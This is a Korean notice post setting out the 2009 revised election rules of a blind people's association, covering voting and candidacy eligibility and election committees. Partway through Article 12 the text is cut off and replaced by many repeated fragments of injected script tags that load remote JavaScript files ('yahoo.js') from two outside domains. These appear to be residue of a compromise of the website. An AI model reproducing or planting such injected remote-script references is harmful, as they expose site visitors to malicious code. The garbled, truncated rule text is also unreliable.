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공지사항 - [공지] [개정] 선거관리규정 2009년 8월 27일

작성자협회관리자

작성일시2009-09-18 오전 7:24:53

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 선거관리규정

2009년 8월 27일 개정

제1장 총칙

제1조(목적) 본 규정은 사단법인 한국시각장애인연합회(이하 `본회`라 한다) 정관에서 위임된 사항과 본회(이하 지부 및 지회도 포함한다.)의 각급 선거 실시에 필요한 세부적인 사항을 규정함을 목적으로 한다.

제2조(선거방법) 본회의 모든 선거는 직접, 비밀, 평등, 보통 선거의 민주적인 선거절차와 방법에 의해 실시하는 것을 원칙으로 하나 정관 및 지부운영규정에 따라 간접선거를 실시할 수 있다.

제3조(선거의 공정경쟁 및 공정중립의무) ①선거에 참여하는 후보자 및 후보자를 위하여 선거운동을 하는 자(이하 ˝후보자등˝이라 한다)는 선거운동을 함에 있어 본 규정을 준수하고 공정하게 경쟁하여야 한다.
②본회와 ‘본회 부설 기관 및 시설 또는 본회의 지부업무를 병행하는 법인 및 그 부설 기관의 시설’(이하 “본회 관련시설등”이라 한다.)의 장을 포함한 직원과 각급 선거관리위원회위원장을 포함한 위원은 당해 선거에 대하여 엄정 중립을 지켜야 하며 선거에 대한 부당한 영향력의 행사 기타 선거결과에 영향을 미치는 행위를 하여서는 아니 된다.

제4조(선거일 및 공고) ①본회의 중앙회임원(지부장은 제외한다.)선거는 선거당해년도 3월 중에 이사회에서 정한 날에 실시하고 지부임원선거는 선거당해년도 2월 중에 지부운영위원회가 정한 날에 실시하며 지회임원선거는 선거당해년도 1월 중에 지회운영위원회가 정한 날에 실시한다. 단, 재선거와 보궐선거의 경우에는 그 사유가 확정된 날로부터 60일 이내에 이사회 또는 지부운영위원회 및 지회운영위원회에서 정한 날에 실시한다.
②중앙선거관리위원회위원장 또는 지부선거관리위원회위원장 및 지회선거관리위원회위원장은 이사회 또는 지부운영위원회 및 지회운영위원회가 정한 선거일 20일 전에 다음 각 호의 사항이 기재된 선거일공고문을 점자, 묵자, 녹음테이프 또는 ‘본회가 운영하는 전화사서함 및 넓은마을 공지사항’(이하 “정보매체 등”이라 한다.) 중 3개의 매체를 선택하여 공지하여야 한다.
1. 선거하여야 할 임원
2. 투표 개시와 종료일시 및 투표장소
3. 선거인의 자격 및 피선거권자의 자격
4. 후보자등록기간, 등록비 및 등록접수장소
5. 선거권 및 피선거권의 제한사항
6. 기타 각급 선거관리위원회에서 필요하다고 인정한 사항

제2장 선거권과 피선거권

제5조(선거권) ①본회의 회장 또는 지부운영규정에 의거 간접선거에 의해 선출되는 지부장 및 대의원(지부대의원도 포함한다.)을 제외한 지부장선거, 지회장 선거, 대의원의 선거권은 선거당해 전년도 10월 31일까지 정관 제6조 제1항의 규정에 의해 가입 완료된 자 중 만19세 이상의 회원에 한한다. 단, 재선거 및 보궐선거의 경우에는 선거일로부터 30일 이전에 가입 완료된 자 중 만19세 이상의 회원에 한하여 선거권을 부여한다.
②제1항의 규정에 의한 선거권은 소속된 지부 또는 지회에서만 행사할 수 있다.

제6조(피선거권) ①본회의 임원 및 대의원은 만 25세 이상이어야 한다. 단, 회장과 지부장은 만35세 이상이어야 하며 지회장은 만 30세 이상이어야 한다.
②본회의 임원 및 대의원은 선거일로부터 1년 이전에 본회에 가입 완료되어야 하고 대의원 및 지부임원 또는 지회임원의 경우에는 주민등록상으로 당해지역에 1년 이상 지속적으로 거주하여야 한다. 단, 회장은 본회에 가입한지 3년 이상 경과하여야 하며 지부장은 주민등록상으로 당해 지역에 만 2년 이상 지속적으로 거주하여야 한다.
③본회의 임원 중 회장 또는 지부장 및 지회장은 장애등급 1급에서 3급에 해당하는 회원으로 한다.

제7조(선거권 및 피선거권의 제한 및 회복) ①제5조의 규정에도 불구하고 본회로부터 회원자격정지 처분 이상의 징계 처분 중에 있는 회원에 대하여는 선거권이 없다.
②다음 각 호에 해당되는 자는 본회의 임원 및 대의원이 될 수 없다. 단, 제2호 및 제5호는 본회임원에게만 적용한다.
1. 본회로부터 회원자격정지 이상의 징계 처분 중에 있는 자
2. 금고 이상의 형 집행 중에 있는 자 단, 안마업 경영상 또는 본회 공익을 위한 업무 수행 중 불가피하게 받은 형은 예외로 한다.
3. 후보자 등록 전일 현재 본회 직원 또는 본회 관련 시설 등의 장 및 그 직원.
4. 후보자 등록 전일 현재 시각장애인 단체 외의 장애유형별 단체의 임원(그 단체 산하의 지부임원 또는 지회임원도 포함한다.) 단, 장애유형의 연합체의 장은 제외한다.
5. 후보자 등록 전일 현재 본회 회원단체 중 사단법인의 장(지부장 및 지회장도 포함한다.)
6. 선거일 공고일 현재 각급 선거관리위원회위원장 및 위원
③본회로부터 해임 또는 사임한 임원은 같은 기의 임기 내에는 해임 또는 사임한 중앙회 또는 지부 및 지회에 임원이 될 수 없다. 단, 회장 또는 지부장 및 지회장의 사임 또는 해임에 의한 일괄 사임 또는 해임 시에는 회장 또는 지부장 및 지회장을 제외한 본회 임원은 그러하지 아니하다.
④제2항 제3호 내지 제5호의 규정에 의하여 피선거권이 제한된 자가 후보자 등록 전일에 그 직에서 사임 또는 사직할 경우에는 피선거권이 회복된다. 이 경우 사임일과 사직일은 사임서와 사직서를 그 소속 기관에 제출한 날을 기준으로 한다. 단, 제3 호의 규정에 의해 본회 관련 시설 등의 장을 겸직한 회장 또는 지부장 및 지회장이 차기 동급 선거에 출마하고자 사직서를 제출하였을 때에는 그 직을 보류된 것으로 하며 당해 선거에서 낙선되거나 입후보자 사퇴 또는 후보자 등록이 무효된 해당일에 사직한 것으로 한다.
⑤지회장이 지부장에 출마하거나 지부장이 회장에 출마하고자 할 때에는 후보자 등록 전일까지 그 직을 사임하여야 한다.

제3장 선거관리위원회

제8조 (선거관리위원회의 설치) 본회는 공정하고 투명한 본회의 각급 선거를 관장하기 위하여 중앙회에는 중앙선거관리위원회, 지부에는 지부선거관리위원회, 지회에는 지회선거관리위원회를 각각 둔다.

제9조(선거관리위원의 자격 및 선임) 회장 또는 지부장 및 지회장은 이사회 또는 지부운영위원회 및 지회운영위원회의 의결을 거쳐 다음 각 호에 해당되는 자 중에 선거당해 전년도 12월 10일까지 5인 내지 7인의 각급 당해 선거관리위원회의 위원장 및 위원을 선임하여야 한다.
1. 당해지부 또는 당해지회에 선거권이 있는 자 단, 중앙선거관리위원은 그러하지 아니하다.
2. 회원자격정지 이상의 징계처분 중에 있지 아니한 자
3. 본회의 임직원 또는 대의원 및 본회 관련시설 등의 장 및 직원이 아닌 자

제10조(선거관리위원의 임기) 각급 선거관리위원의 임기는 4년으로 하고 선임된 다음날부터 차기 선거관리위원이 선임된 날까지로 하며 연임할 수 있다. 단, 보선된 위원의 임기는 전임자의 잔여 임기로 한다.

제11조(선거관리위원회의 임무) 각급 선거관리위원회는 다음 각 호의 임무를 수행한다.
1. 후보자 등록 업무 및 후보자 적부심사, 후보자 결정 취소
2. 선거일공고 및 입후보자 공고
3. 기표방법 등 투표권 행사에 관한 사항
4. 투, 개표 업무
5. 당선 공고 및 당선 무효 공고
6. 대의원 승계 공고(지부운영규정에 의거 간접선거에 의해 대의원을 선출하는 지부선거관리위원회는 제외한다.)

제12조(회의 및 의결 정족수) ①각급 선거관리위원회의 회의는 당해 위원장이 소집한다. 다만, 위원 3분의 1 이상의 소집요구가 있을 때에는 위원장은 24시간 이내에 회의를 소집하여야 한다.
②각급 선거관리위원회는 위원 과반수 이상의 참석으로 개의하고 출석위원 과반수의 찬성으로 의결하며 가부 동수일 경우 부결된 것으로rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.wangqiao365.com/img/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/